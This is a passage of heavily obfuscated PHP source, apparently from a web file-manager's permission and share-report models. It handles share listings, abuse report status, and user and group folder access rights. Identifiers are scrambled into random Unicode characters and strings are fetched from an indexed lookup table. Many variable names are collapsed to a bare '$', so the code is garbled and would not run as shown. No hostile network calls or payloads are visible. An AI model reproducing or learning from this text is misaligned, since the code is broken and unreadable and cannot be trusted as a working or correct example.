$this->where($󽵃)->delete(); if ($̜) { Model($[596])->where(array($[488] => $ݗ֟))->delete(); } $ = is_array($ݗ֟) ? $ݗ֟[1] : array($ݗ֟); for ($ = 0; $ < count($); $++) { $ܢ = $this->getInfo($[$]); if ($ܢ[$[495]] == $[99]) { Model($[564])->eventShare($ܢ[$[403]], $[1958]); } if ($ܢ[$[493]] == $[99]) { Model($[564])->eventShare($ܢ[$[403]], $[1957]); } } return $̜; } protected function removeBySource($) { $ӹر =& $_SERVER[Ǿ]; $ȉ = array($ӹر[418] => array($ӹر[419], $)); $ = $this->field($ӹر[488])->where($ȉ)->select(); $ = array_to_keyvalue($, $ӹر[22], $ӹر[488]); if (!$) { return; } $ȉ = array($ӹر[487] => array($ӹر[419], $)); $this->where($ȉ)->delete(); Model($ӹر[596])->where($ȉ)->delete(); } public function listAll($) { $ =& $_SERVER[Ǿ]; $ = array(); if ($[$[1640]]) { $[$[1640]] = $[$[1640]]; } if ($[$[753]]) { $ܬ = $[$[496]] ? $[$[496]] : strtotime(date($[1970])); $[$[203]] = array($[337], array($[$[753]], $ܬ)); } if ($[$[43]]) { $[$[$[43]]] = 1; } else { $[] = array($[493] => array($[997], 0), $[495] => array($[997], 0), $[1947] => $[1903]); } if ($[$[1899]]) { $[] = array($[490] => $[$[1899]], $[1540] => array($[387], "\45{$[$[1899]]}\45"), $[1947] => $[1903]); } $磗 = $this->_makeOrder()->where($)->selectPage(20); if (empty($磗[$[373]])) { return array(); } $this->_listDataApply($磗[$[373]]); return $磗; } public function listDataApply($) { $this->_listDataApply($); return $; } private function _listDataApply(&$) { $ =& $_SERVER[Ǿ]; $ = array_to_keyvalue($, $[22], $[1640]); $ = Model($[538])->userListInfo(array_unique($)); $˪ = array_to_keyvalue($, $[22], $[403]); $诲 = Model($[817])->sourceListInfo($˪, !0); foreach ($ as $ډ => &$) { $򑝏 = $[$[1640]]; $[$[1971]] = $[$򑝏] ? $[$򑝏] : !1; $ሕ = $[$[403]]; $[$[97]] = $诲[$ሕ] ? $诲[$ሕ] : !1; if ($[$[97]][$[431]] == $[99]) { unset($[$ډ]); } if ($[$[97]] != $[200] && !$[$[97]]) { unset($[$ډ]); } } unset($); $ = array_values($); } private function _makeOrder($܎ = '') { $ =& $_SERVER[Ǿ]; $疤 = array($[203], $[496], $[1960], $[1961]); $ = array($[448] => $[449], $[450] => $[451]); $ = Input::get($[455], $[17], $[424], $疤); $ = Input::get($[456], $[17], $[1972], array($[1898], $[450])); $ = $[$]; $܎ = $܎ . "{$}\40{$}"; return $this->order($܎); } public function reportAdd($) { $ =& $_SERVER[Ǿ]; $Ȼ = array($[488] => $[$[488]], $[1640] => USER_ID); if (Model($[1968])->where($Ȼ)->find()) { return !1; } $ͩ݉ = array($[488] => $[$[488]], $[1540] => $[$[1540]], $[403] => $[$[403]], $[467] => $[$[467]], $[1640] => USER_ID, $[43] => $[$[43]], $[451] => $[$[451]]); return Model($[1968])->add($ͩ݉); } public function reportList($) { $ڈ =& $_SERVER[Ǿ]; $ϕ = array(); if ($[$ڈ[753]]) { $дѾ = $[$ڈ[496]] ? $[$ڈ[496]] : strtotime(date($ڈ[1970])); $ϕ[$ڈ[203]] = array($ڈ[337], array($[$ڈ[753]], $дѾ)); } if (isset($[$ڈ[43]]) && in_array($[$ڈ[43]], array($ڈ[99], $ڈ[435], $ڈ[1973], $ڈ[1974], $ڈ[1975]))) { $ϕ[$ڈ[43]] = $[$ڈ[43]]; } if (isset($[$ڈ[742]]) && in_array($[$ڈ[742]], array($ڈ[200], $ڈ[99], $ڈ[435], $ڈ[1973]))) { $ϕ[$ڈ[742]] = $[$ڈ[742]]; } $މ = Input::get($ڈ[456], $ڈ[17], $ڈ[1972], array($ڈ[1898], $ڈ[450])); $ = array($ڈ[448] => $ڈ[449], $ڈ[450] => $ڈ[451]); $ = $ڈ[1976] . $[$މ]; $ = Model($ڈ[1968])->where($ϕ)->order($)->selectPage(20); if (empty($[$ڈ[373]])) { return array(); } $巉Ц = array_to_keyvalue_group($[$ڈ[373]], $ڈ[742], $ڈ[488]); if (!empty($巉Ц[0])) { $ = $巉Ц[0]; $ϕ = array($ڈ[488] => array($ڈ[17], $)); $Ү = $this->where($ϕ)->field($ڈ[488])->select(); $Ү = array_to_keyvalue($Ү, $ڈ[22], $ڈ[488]); $֮ = array_diff($, $Ү); if (!empty($֮)) { foreach ($[$ڈ[373]] as $ => $ȣ) { if (in_array($ȣ[$ڈ[488]], $֮)) { unset($[$ڈ[373]][$]); } } } } $this->_listDataApply($[$ڈ[373]]); return $; } public function reportStatus($ڮ) { $Ԙ =& $_SERVER[Ǿ]; $Ȗ = array($Ԙ[401] => $ڮ[$Ԙ[401]]); $ = Model($Ԙ[1968])->where($Ȗ)->field($Ԙ[1977])->find(); if (!$) { return !1; } $ = array($Ԙ[742] => $ڮ[$Ԙ[742]]); if ($ڮ[$Ԙ[742]] == $Ԙ[1973] && $[$Ԙ[742]] == $Ԙ[1973]) { $[$Ԙ[742]] = 0; } $ߒ = Model($Ԙ[1968])->where($Ȗ)->save($); if ($ڮ[$Ԙ[742]] == $Ԙ[435]) { if ($[$Ԙ[467]] != $Ԙ[200] && $this->shareFileMeta($[$Ԙ[467]])) { $this->shareFileMeta($[$Ԙ[467]], 0); } $this->remove($[$Ԙ[488]]); return !0; } if ($ߒ && $ڮ[$Ԙ[742]] == $Ԙ[1973]) { $ʯ = $[$Ԙ[742]] == $Ԙ[1973] ? 1 : 0; $this->shareFileMeta($[$Ԙ[467]], $ʯ); $this->removeByFile($[$Ԙ[467]]); } return $ߒ; } private function removeByFile($ؕ) { $랧 =& $_SERVER[Ǿ]; $Īޮ = Model($랧[817])->where(array($랧[467] => $ؕ))->field($랧[403])->select(); $ꢗ = array_to_keyvalue($Īޮ, $랧[22], $랧[403]); $ˌ = array($랧[403] => array($랧[17], $ꢗ), $랧[493] => 1); $Īޮ = $this->where($ˌ)->field($랧[488])->select(); if (empty($Īޮ)) { return; } $ = array_to_keyvalue($Īޮ, $랧[22], $랧[488]); $this->remove($); } private function shareFileMeta($ѝ, $؊ = null) { $±ƿ =& $_SERVER[Ǿ]; $ƺ˥ = array($±ƿ[467] => $ѝ, $±ƿ[105] => $±ƿ[1978]); if (is_null($؊)) { return Model($±ƿ[1979])->where($ƺ˥)->find(); } $ƺ˥[$±ƿ[378]] = $؊; Model($±ƿ[1979])->add($ƺ˥, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\x69\157\137\163\x6f\165\162\x63\145\x5f\x61\165\x74\x68"; public function getAuth($ʐ) { $ڻ =& $_SERVER[Ǿ]; $ = $this->sourceAuthSelect($ʐ); $ = array(); $ = array(); $Ӂ = 2 << 25; foreach ($ as $ߥ) { $ = Model($ڻ[507])->listData($ߥ[$ڻ[1909]]); if (!$) { continue; } $[] = $ߥ; $ = 0; if ($ߥ[$ڻ[412]] == SourceModel::TYPE_GROUP) { $ = $Ӂ * 2; } if ($ߥ[$ڻ[412]] == SourceModel::TYPE_USER) { $ = $Ӂ; } if ($ߥ[$ڻ[412]] == SourceModel::TYPE_USER && $ߥ[$ڻ[504]] == $ڻ[200]) { $ = 0; } $[] = $[$ڻ[414]] + $; } array_multisort($, SORT_DESC, $); return $; } public function sourceAuthSelect($Ŧ鵫) { $ =& $_SERVER[Ǿ]; static $Ί = array(); $ϐ = is_array($Ŧ鵫) ? !1 : !0; if ($ϐ) { $Ŧ鵫 = array($Ŧ鵫); } $ޅ = array(); foreach ($Ŧ鵫 as $) { if (isset($Ί[$])) { $ޅ[$] = $Ί[$]; } } if (count($ޅ) == count($Ŧ鵫)) { return $ϐ ? $ޅ[$Ŧ鵫[0]] : $ޅ; } $ѻ = $[1980]; $˒ = array($[403] => array($[17], $Ŧ鵫)); $ = $this->field($ѻ)->order($[401])->where($˒)->select(); $ޘ = array_to_keyvalue_group($, $[403]); foreach ($Ŧ鵫 as $) { $Ί[$] = $ޘ[$] ? $ޘ[$] : array(); } if ($ϐ) { return $; } return $ޘ; } public function setAuth($緱, $ꃍ) { $ =& $_SERVER[Ǿ]; $ = Model($[1310])->sourceInfo($緱); if (!$) { return !1; } if ($[$[412]] != SourceModel::TYPE_GROUP) { return !1; } $ȟε = 1; $֢ = $[$[504]]; if ($֢ != $ȟε) { $̓ = array($[1808] => $֢); $ء = Model($[1897])->field($[1640])->where($̓)->select(); $ء = array_to_keyvalue($ء, $[22], $[1640]); } $ಹ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ฏ = array(); foreach ($ꃍ as $) { if (!in_array($[$[412]], $ಹ)) { show_json(LNG($[1981]), !1); } if ($֢ != $ȟε) { if ($[$[412]] == SourceModel::TYPE_GROUP) { } if ($[$[504]] != 0 && !in_array($[$[504]], $ء)) { } } if ($[$[504]] == 0) { $[$[412]] = SourceModel::TYPE_USER; } $ฏ[] = array($[403] => $緱, $[412] => intval($[$[412]]), $[504] => intval($[$[504]]), $[1909] => intval($[$[1909]]) ? intval($[$[1909]]) : 0, $[1963] => intval($[$[1963]]) ? intval($[$[1963]]) : -1); } $this->where(array($[418] => $緱))->delete(); $this->addAll($ฏ); return !0; } public function authClear($ъȡ) { $Ҙ =& $_SERVER[Ǿ]; $Ձ = Model($Ҙ[1310])->sourceInfo($ъȡ); $ = array($ъȡ); if ($Ձ[$Ҙ[411]] == $Ҙ[99]) { $銼 = array($Ҙ[584] => array($Ҙ[544], $Ձ[$Ҙ[521]] . $ъȡ . $Ҙ[545])); $ = Model($Ҙ[1310])->field($Ҙ[418])->where($銼)->getField($Ҙ[403], !0); $[] = $ъȡ; } $this->where(array($Ҙ[418] => array($Ҙ[419], $)))->delete(); return !0; } public function getAllChildren($Řɢ) { $¸ =& $_SERVER[Ǿ]; $߮ = Model($¸[1310])->sourceInfo($Řɢ); if ($߮[$¸[411]] != $¸[99]) { return $this->sourceListAuth(array($Řɢ)); } if ($߮[$¸[412]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $չ߱ = array($Řɢ); if ($߮[$¸[498]] == $¸[200] && $߮[$¸[504]] != $) { $չ߱ = $this->groupChidldAllRootSource($߮[$¸[504]]); } $ש = $this->field($¸[403])->group($¸[403])->select(); $ש = array_to_keyvalue($ש, $¸[22], $¸[403]); if (!$ש) { return array(); } $ڱ = $¸[1982]; $ = array($¸[403] => array($¸[17], $ש), $¸[431] => $¸[200]); $߱ = Model($¸[817])->field($ڱ)->where($)->select(); $ = array($Řɢ); foreach ($߱ as $ʢ) { foreach ($չ߱ as $) { $ô = $¸[60] . $ . $¸[60]; $ = $ʢ[$¸[521]] . $ʢ[$¸[403]] . $¸[60]; if (strstr($, $ô)) { $[] = $ʢ[$¸[403]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($͔) { $ =& $_SERVER[Ǿ]; $ = Model($[1310])->sourceListInfo($͔, !0); $ = $this->sourceAuthSelect($͔); $ = array(); $ = array(); foreach ($ as $¼) { unset($¼[$[454]]); unset($¼[$[452]]); unset($¼[$[414]]); unset($¼[$[97]]); $޿ = $[$¼[$[403]]]; if (!$޿) { continue; } $¼[$[1983]] = $this->authTargetInfo($޿); $¼[$[519]] = rtrim($¼[$[525]], $[18]) . $[18] . ltrim($¼[$[519]], $[18]); $[] = $¼; $ń = count(explode($[18], trim($¼[$[519]], $[18]))); $[] = $ń + ($¼[$[43]] == $[89] ? 0 : 1000); } array_multisort($, SORT_ASC, $); return $; } private function groupChidldAllRootSource($) { $ǿ =& $_SERVER[Ǿ]; $ = Model($ǿ[1984])->groupChildrenAll($); $֜ = array($ǿ[498] => 0, $ǿ[504] => array($ǿ[17], $), $ǿ[412] => SourceModel::TYPE_GROUP); $ = Model($ǿ[817])->field($ǿ[403])->where($֜)->select(); $ = array_to_keyvalue($, $ǿ[22], $ǿ[403]); return $; } private function authTargetInfo($) { $Ӝ =& $_SERVER[Ǿ]; $󅁊Є = array(); $ۚÇ = array(); $ = 2 << 25; foreach ($ as $) { $྾ = Model($Ӝ[507])->listData($[$Ӝ[1909]]); if (!$྾) { continue; } if ($[$Ӝ[412]] == SourceModel::TYPE_USER) { $ = Model($Ӝ[513])->getInfoSimpleOuter($[$Ӝ[504]]); if ($[$Ӝ[1640]] == $Ӝ[1173]) { continue; } if ($[$Ӝ[1640]] == $Ӝ[200]) { $[$Ӝ[42]] = LNG($Ӝ[1985]); } } else { $ = Model($Ӝ[522])->getInfoSimple($[$Ӝ[504]]); } if (!$) { continue; } $[$Ӝ[466]] = $྾; $󅁊Є[] = $; $Ổ = 0; if ($[$Ӝ[412]] == SourceModel::TYPE_GROUP) { $Ổ = $ * 2; } if ($[$Ӝ[412]] == SourceModel::TYPE_USER) { $Ổ = $; } if ($[$Ӝ[412]] == SourceModel::TYPE_USER && $[$Ӝ[504]] == $Ӝ[200]) { $Ổ = 0; } $ۚÇ[] = $྾[$Ӝ[414]] + $Ổ; } array_multisort($ۚÇ, SORT_DESC, $󅁊Є); return $󅁊Є; } public function getAllChildrenByUser($ۀ, $ŐǙ) { $ϧ =& $_SERVER[Ǿ]; $㫰ϊ = Model($ϧ[538])->getInfo($ŐǙ); if (!$ŐǙ || !$ۀ || !$㫰ϊ) { return array(); } $ = Model($ϧ[1310])->sourceInfo($ۀ); $ʔ = array(); $ = 1; if ($[$ϧ[498]] == $ϧ[200] && $[$ϧ[504]] != $ && $this->groupContainUser($[$ϧ[504]], $ŐǙ)) { foreach ($㫰ϊ[$ϧ[1986]] as $拫) { $ޏ = Model($ϧ[522])->getInfo($拫[$ϧ[1808]]); $曂 = Model($ϧ[538])->getInfoSimpleOuter($ŐǙ); $曂[$ϧ[466]] = $拫[$ϧ[414]]; if (Model($ϧ[507])->authCheckAction($拫[$ϧ[414]][$ϧ[414]], $ϧ[1828])) { continue; } $̽ = array($ϧ[42] => $ϧ[1589] . $ޏ[$ϧ[42]], $ϧ[403] => $ޏ[$ϧ[97]][$ϧ[403]], $ϧ[88] => KodIO::make($ޏ[$ϧ[97]][$ϧ[403]]), $ϧ[498] => $ϧ[200], $ϧ[412] => $ϧ[515], $ϧ[43] => $ϧ[548], $ϧ[519] => $ޏ[$ϧ[526]], $ϧ[1808] => $ޏ[$ϧ[1808]], $ϧ[523] => $ޏ[$ϧ[498]], $ϧ[1983] => array($曂)); $ʔ[$̽[$ϧ[403]]] = $̽; } } $눂 = array(); $賽̤ = $this->getAllChildren($ۀ); foreach ($賽̤ as $) { $ԓ = !1; foreach ($[$ϧ[1983]] as $ʪ) { if ($ʪ[$ϧ[1640]]) { if ($ʪ[$ϧ[1640]] == $ŐǙ) { $ԓ = !0; break; } } if ($ʪ[$ϧ[1808]]) { if ($this->groupContainUser($ʪ[$ϧ[1808]], $ŐǙ)) { $ԓ = !0; break; } } } if ($ԓ) { $눂[] = $; } $ = $[$ϧ[403]]; if (isset($ʔ[$])) { $[$ϧ[1983]][] = $ʔ[$][0]; $ʔ[$] = !1; } } $ʔ = array_filter(array_values($ʔ)); $눂 = array_merge($ʔ, $눂); return $눂; } public function setAllChildrenByUser($Կ, $, $؄̄) { $ =& $_SERVER[Ǿ]; $񲖘 = $this->getAllChildrenByUser($Կ, $); if (!$؄̄ || !$񲖘) { return !1; } foreach ($񲖘 as $) { $å = array(); foreach ($[$[1983]] as $) { $ = $[$[466]]; $Ȉ = $[$[1640]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $[$[1640]] ? $[$[1640]] : $[$[1808]]; if ($[$[1640]] && $[$[1640]] == $) { continue; } $å[] = array($[403] => $[$[403]], $[412] => $Ȉ, $[504] => intval($), $[1909] => isset($[$[401]]) ? intval($[$[401]]) : 0, $[1963] => isset($[$[1963]]) ? intval($[$[1963]]) : -1); } $å[] = array($[403] => $[$[403]], $[412] => SourceModel::TYPE_USER, $[504] => intval($), $[1909] => intval($؄̄), $[1963] => -1); $this->where(array($[418] => $[$[403]]))->delete(); $this->addAll($å); } return !0; } public function get($֣) { $ = $this->getSourceList(array($֣), !0); return $[0]; } public function getSourceList($郲ә, $ϻ = false, $ = false) { $ӷ =& $_SERVER[Ǿ]; if (!$郲ә) { return array(); } $ = Model($ӷ[1310]); if (!$ϻ && count($郲ә) == 1) { $ϻ = array(); $ϻ[$郲ә[0]] = $->sourceInfo($郲ә[0]); } if (!$ϻ) { $ = array($ӷ[418] => array($ӷ[419], $郲ә)); $ϻ = $->field($ӷ[1987])->where($)->select(); $ϻ = array_to_keyvalue($ϻ, $ӷ[403]); } $ް = $郲ә; foreach ($ϻ as $ث« => $˃) { $Η = $->parentLevelArray($˃[$ӷ[521]]); $ް = array_merge($ް, array($ث«), array_reverse($Η)); } $ް = array_values(array_unique($ް)); if (!$ް) { return array(); } $隅 = $this->sourceAuthSelect($ް); $ = array(); foreach ($ް as $А) { if (isset($隅[$А])) { $[$А] = $隅[$А]; } } $ = $this->userIsRoot($); $袧 = AuthModel::authAll(); $ޅܔ = array($ӷ[415] => $袧, $ӷ[1988] => array($ӷ[420] => 0, $ӷ[1814] => $袧, $ӷ[421] => LNG($ӷ[1989]), $ӷ[1830] => $ӷ[1990])); $ = array(); foreach ($ϻ as $А => $㈑) { if ($) { $[$А] = $ޅܔ; continue; } $[$А] = $this->makeSourceAuth($㈑, $, $); } return $; } public function authDeepCheck($î, $Ƿ = false) { $胫 =& $_SERVER[Ǿ]; $Ƿ = $Ƿ ? $Ƿ : USER_ID; $ = $this->makeAuthDeep($Ƿ); if (!in_array($î, $[$胫[1991]])) { return !1; } $⊜ = array(); foreach ($[$胫[1992]] as $ => $Ǣ޹) { if (!in_array($î, $Ǣ޹)) { continue; } $⊜[] = $; } if (!$⊜) { return !1; } $ = $⊜ ? $⊜[0] : $î; return array($胫[415] => -1, $胫[466] => array($胫[420] => $胫[1173], $胫[1814] => $胫[200], $胫[421] => LNG($胫[1993]), $胫[1830] => $胫[1994]), $胫[1995] => LNG($胫[1996]), $胫[1997] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($ = false) { $ =& $_SERVER[Ǿ]; static $ޭٜ = array(); $ = $ ? $ : USER_ID; if (isset($ޭٜ[$])) { return $ޭٜ[$]; } $ = Model($[1998])->listData(); $ = array(); foreach ($ as $) { if ($[$[414]] == 0 && $[$[1829]] == $[99]) { $[] = $[$[401]]; } } $ې = $this->userGroupParents($); $ = array($[412] => SourceModel::TYPE_USER, $[504] => $); if ($ې) { $ = array(array($[412] => SourceModel::TYPE_USER, $[504] => $), array($[412] => SourceModel::TYPE_GROUP, $[504] => array($[419], $ې)), $[985] => $[1903]); } $ٯɢ = $this->field($[1999])->where($)->select(); $ = array(); $ = array_to_keyvalue_group($ٯɢ, $[403]); foreach ($ as $ => $) { $۩ = $this->authArrayCheck($, $); if ($۩[$[415]] > 0) { $[] = $ . $[22]; } } if ($ې) { $ = Model($[522]); foreach ($ې as $) { $ߕ = $->getInfo($); if (!$ߕ || !is_array($ߕ[$[97]])) { continue; } $[] = $ߕ[$[97]][$[403]]; } } $ = array(); $ᰗ = $ې; $܁ = Model($[1310]); $ = Model($[522]); $瑌 = array(); $њ = array(); $ݸ = array(); $۲ҁ = array(); if ($) { $ۣ = $܁->where(array($[403] => array($[419], $)))->select(); foreach ($ۣ as $܂) { $ = $܁->parentLevelArray($܂[$[521]]); $ = array_merge($, $); $ᰗ[] = $܂[$[504]]; $瑌[$܂[$[403]]] = $; $њ[$܂[$[403]]] = $܂[$[504]]; } } $ᰗ = array_values(array_unique($ᰗ)); $ԭ = $ᰗ; foreach ($ԭ as $) { $ߕ = $->getInfo($); $ = $܁->parentLevelArray($ߕ[$[521]]); $ᰗ = array_merge($ᰗ, $); } $ᰗ = array_values(array_unique($ᰗ)); foreach ($ᰗ as $) { $ߕ = $->getInfo($); $[] = $ߕ[$[97]][$[403]]; $ݸ[$] = $ߕ[$[97]][$[403]]; $۲ҁ[$] = $܁->parentLevelArray($ߕ[$[521]]); } foreach ($瑌 as $ => $ە̷) { $Ώ = $њ[$]; if (!$Ώ || !$ݸ[$Ώ]) { continue; } $ = array(); foreach ($۲ҁ[$Ώ] as $) { $[] = $ݸ[$]; } $瑌[$] = array_merge($, $ە̷); } $ = array_values(array_unique($)); $ = array($[1991] => $, $[1992] => $瑌); $ޭٜ[$] = $; return $; } private function makeSourceAuth($, $, $Έ = false) { $ =& $_SERVER[Ǿ]; $必 = $[99]; $Ɨ = $[$[504]]; $ = $[$[412]] == SourceModel::TYPE_GROUP; $߉ = $ ? $this->groupRootAuth($Ɨ, $Έ) : !1; if ($߉ && Model($[507])->authCheckAction($߉[$[414]], $[1828])) { return $this->groupAuthInfo($߉, $Ɨ); } $Ҭ = Model($[1310])->parentLevelArray($[$[521]]); $Ҭ = array_merge(array($[$[403]]), array_reverse($Ҭ)); $õ = !1; foreach ($Ҭ as $) { if (!isset($[$])) { continue; } $ = $this->authMake($[$], $Έ); if ($[$[466]]) { $õ = $; break; } } if (!$) { return $õ; } if (!$õ && $߉) { $õ = $this->groupAuthInfo($߉, $Ɨ); } if (!$õ) { $ = Model($[522])->getInfo($Ɨ); $ = explode($[60], trim($[$[521]], $[60])); $ = array_reverse($); foreach ($ as $՜) { if ($՜ == $[200] || $՜ == $必) { continue; } $ܐ = $this->groupRootAuth($՜, $Έ); if (!$ܐ) { continue; } $õ = $this->groupAuthInfo($ܐ, $՜); break; } } if (!$õ || $õ[$[415]] <= 0) { $ڟ = $this->authDeepCheck($[$[403]], $Έ); if ($ڟ) { $õ = $ڟ; } } return $õ; } private function userIsRoot($嶈߬ = false) { $ =& $_SERVER[Ǿ]; if (!$嶈߬ && _get($GLOBALS, $[505])) { return !0; } $َ = Model($[538])->getInfo($嶈߬); $ʩ = Model($[2000])->listData($َ[$[1520]]); if ($ʩ && $ʩ[$[511]][$[2001]] == 1) { return !0; } return !1; } private function sourceAuthInfo($è) { $ŽЅ =& $_SERVER[Ǿ]; $ = Model($ŽЅ[1310]); $Ĥ = $->sourceInfo($è); if (!$Ĥ) { return !1; } $->groupPathDisplay($Ĥ); $ = array($Ĥ); $ = $->_listAppendPath($); $Ĥ = $[0]; $ = $Ĥ[$ŽЅ[519]]; if (isset($Ĥ[$ŽЅ[527]])) { $ = explode($ŽЅ[18], trim($Ĥ[$ŽЅ[519]], $ŽЅ[18])); array_shift($); $ = $Ĥ[$ŽЅ[525]] . $ŽЅ[2002] . implode($ŽЅ[18], $); } return array($ŽЅ[421] => $Ĥ[$ŽЅ[42]], $ŽЅ[88] => KodIO::make($Ĥ[$ŽЅ[403]]), $ŽЅ[2003] => $); } private function groupAuthInfo($疓, $) { $ܱ =& $_SERVER[Ǿ]; $Ѥ = Model($ܱ[522])->getInfo($); return array($ܱ[2004] => intval($疓[$ܱ[414]]), $ܱ[1988] => $疓, $ܱ[2005] => LNG($ܱ[2006]), $ܱ[1997] => array($ܱ[421] => $Ѥ[$ܱ[42]], $ܱ[88] => KodIO::make($Ѥ[$ܱ[97]][$ܱ[403]]), $ܱ[2003] => $Ѥ[$ܱ[526]])); } protected function groupRootAuth($ɳ, $Γ = false) { $у =& $_SERVER[Ǿ]; $Γ = $Γ ? $Γ : USER_ID; $ńΝ = $Γ . $у[2007] . $ɳ; static $ = array(); if (isset($[$ńΝ])) { return $[$ńΝ]; } $Ŭ = Model($у[522])->getInfo($ɳ); $ = $this->userGroupList($Γ); $ = isset($[$ɳ]) ? $[$ɳ][$у[414]] : !1; if ($ && Model($у[507])->authCheckAction($[$у[414]], $у[1828])) { $[$ńΝ] = $; return $; } $Ͽ = $this->sourceAuthSelect($Ŭ[$у[97]][$у[403]]); $Ь = $Ͽ ? $this->authMake($Ͽ, $Γ) : !1; $ = $Ь ? $Ь[$у[466]] : !1; $[$ńΝ] = $ ? $ : $; return $[$ńΝ]; } public function authOwnerApply($) { $Ǻ =& $_SERVER[Ǿ]; if (empty($[$Ǻ[414]]) || isset($[$Ǻ[2008]]) && $[$Ǻ[2008]]) { return $; } if (AuthModel::authCheckRoot($[$Ǻ[414]][$Ǻ[415]])) { return $; } $Ҋ = Model($Ǻ[1310])->parentLevelArray($[$Ǻ[521]]); $Ҋ = array_merge(array($[$Ǻ[403]]), array_reverse($Ҋ)); $Я = $this->sourceAuthSelect($Ҋ); $۬劘 = array(); $ = array(); foreach ($Я as $և => $ҳ) { $ = $this->authFolderOwnerUser($ҳ); $۬劘[$և] = $; $ = array_merge($, $[$Ǻ[594]]); if ($[$Ǻ[2009]]) { break; } } if (count($) == 0) { $ = $this->authFolderOwnerGroup($[$Ǻ[504]]); } $ = array_unique($); if (AuthModel::authCheckRoot($[$Ǻ[414]][$Ǻ[415]])) { $[] = USER_ID; } $[$Ǻ[414]][$Ǻ[2010]] = Model($Ǻ[513])->userListInfo($); return $; } private function authFolderOwnerGroup($) { $ =& $_SERVER[Ǿ]; $ = Model($[1897])->where(array($[1808] => $))->select(); $ = array(); if (!$) { return $; } foreach ($ as $) { $ʙ = $this->authInfo($); if (AuthModel::authCheckRoot($ʙ[$[414]])) { $[] = $[$[1640]]; } } return $; } private function authFolderOwnerUser($ۢ) { $Ԕ̞ =& $_SERVER[Ǿ]; $̓˃ = array(); $ = !1; foreach ($ۢ as $㪗) { $ = $this->authInfo($㪗); if ($㪗[$Ԕ̞[504]] == $Ԕ̞[200]) { $ = !0; } if ($㪗[$Ԕ̞[412]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($[$Ԕ̞[414]])) { $̓˃[] = $㪗[$Ԕ̞[504]]; } } } return array($Ԕ̞[594] => $̓˃, $Ԕ̞[2009] => $); } public function authMake($脵, $ɬȧӐ = false) { $ǟ =& $_SERVER[Ǿ]; $ϛ = $this->authArrayCheck($脵, $ɬȧӐ); if ($ϛ[$ǟ[2011]]) { $ϛ[$ǟ[2011]] = $this->sourceAuthInfo($ϛ[$ǟ[2011]]); } return $ϛ; } public function authArrayCheck($ϖ, $⣜ = false) { $Ɍֈ =& $_SERVER[Ǿ]; if (!$ϖ) { return array($Ɍֈ[415] => 0, $Ɍֈ[466] => !1); } $⣜ = $⣜ ? $⣜ : USER_ID; $ = 0; $Ήξ = 0; $ = 0; $ݻ = 0; $ = 0; $ = 0; $ = 1000; $фۛ = 0; $ʕ = 0; $ō = 0; $ = 0; $Г = array($Ɍֈ[403] => 0); foreach ($ϖ as $Г) { $ = $this->authInfo($Г); if (!$) { continue; } $ӹ = $Г[$Ɍֈ[504]]; $ħ = intval($[$Ɍֈ[414]]); if ($Г[$Ɍֈ[412]] == SourceModel::TYPE_USER && $ӹ == $⣜) { $ = !0; $ = $; $Ήξ = $ħ; } else { if ($Г[$Ɍֈ[412]] == SourceModel::TYPE_GROUP && $this->groupContainUser($ӹ, $⣜)) { $ݻ = !0; $ߖ = $this->groupStepToUserGroup($ӹ, $⣜); if ($ߖ < $) { $ = $ߖ; $ = $ħ; $ = $; $фۛ = $ӹ; } if ($ߖ == $ && $ħ >= $) { $ = $ħ; $ = $; $фۛ = $ӹ; } } else { if ($ӹ == $Ɍֈ[200]) { $ʕ = !0; $ = $; $ō = $ħ; } } } } if ($) { $ӭ͑ = $Ήξ; $ = $; $ό = LNG($Ɍֈ[2012]); } else { if ($ݻ) { $ӭ͑ = $; $ = $; $ť = Model($Ɍֈ[522])->getInfo($фۛ); $ό = $Ɍֈ[169] . $ť[$Ɍֈ[526]] . $Ɍֈ[2013] . LNG($Ɍֈ[2014]); } else { if ($ʕ) { $ӭ͑ = $ō; $ = $; $ό = LNG($Ɍֈ[1985]); } else { $ӭ͑ = 0; $ = !1; $ό = $Ɍֈ[22]; } } } $ = array($Ɍֈ[2004] => intval($ӭ͑), $Ɍֈ[1988] => $, $Ɍֈ[2005] => $ό, $Ɍֈ[1997] => $Г[$Ɍֈ[403]]); return $; } private function groupContainUser($˒֮, $쨃 = false) { return in_array($˒֮, $this->userGroupParents($쨃)); } private function groupStepToUserGroup($Ԋ, $ = false) { $ =& $_SERVER[Ǿ]; $ߐɗ = $this->userGroupList($); $֦ղ = 1000; $ƭ = $GLOBALS[$[16]][$[100]][$[1908]] == 1; $ = $ƭ ? 3 : 2; foreach ($ߐɗ as $) { if ($[$[1808]] == $Ԋ) { return 0; } $ = explode($[60], trim($[$[521]], $[60])); if ($[0] == $[200] && count($) > $) { $设 = array_reverse(array_slice($, $)); $ = array_search($Ԋ, $设); if ($ !== !1 && $ + 1 <= $֦ղ) { $֦ղ = $ + 1; } } } return $֦ղ; } private function userGroupList($䟘 = false) { $ =& $_SERVER[Ǿ]; static $ = array(); if (isset($[$䟘])) { return $[$䟘]; } $Ư = Model($[538])->getInfo($䟘); $[$䟘] = array_to_keyvalue($Ư[$[1986]], $[1808]); return $[$䟘]; } public function userGroupParents($) { $ӿ䣗 =& $_SERVER[Ǿ]; static $Ɖ = array(); $ = $ ? $ : USER_ID; if (isset($Ɖ[$])) { return $Ɖ[$]; } $Ģ = $this->userGroupList($); $µ = array(); $դ = $GLOBALS[$ӿ䣗[16]][$ӿ䣗[100]][$ӿ䣗[1908]] == 1; $硔 = $դ ? 3 : 2; foreach ($Ģ as $) { $ў = array($[$ӿ䣗[1808]]); $ = explode($ӿ䣗[60], trim($[$ӿ䣗[521]], $ӿ䣗[60])); if ($[0] == $ӿ䣗[200] && count($) > $硔) { $Λ = array_slice($, $硔); $ў = array_merge($ў, array_reverse($Λ)); } $µ = array_merge($µ, $ў); } $Ɖ[$] = array_unique($µ); return $Ɖ[$]; } public function authTargetInfoMake($˵) { $ =& $_SERVER[Ǿ]; $ϸȼ = array(); $ = array(); foreach ($˵ as $΁) { if ($΁[$[412]] == SourceModel::TYPE_USER) { $ϸȼ[] = intval($΁[$[504]]); } else { if ($΁[$[412]] == SourceModel::TYPE_GROUP) { $[] = intval($΁[$[504]]); } } } if ($ϸȼ) { 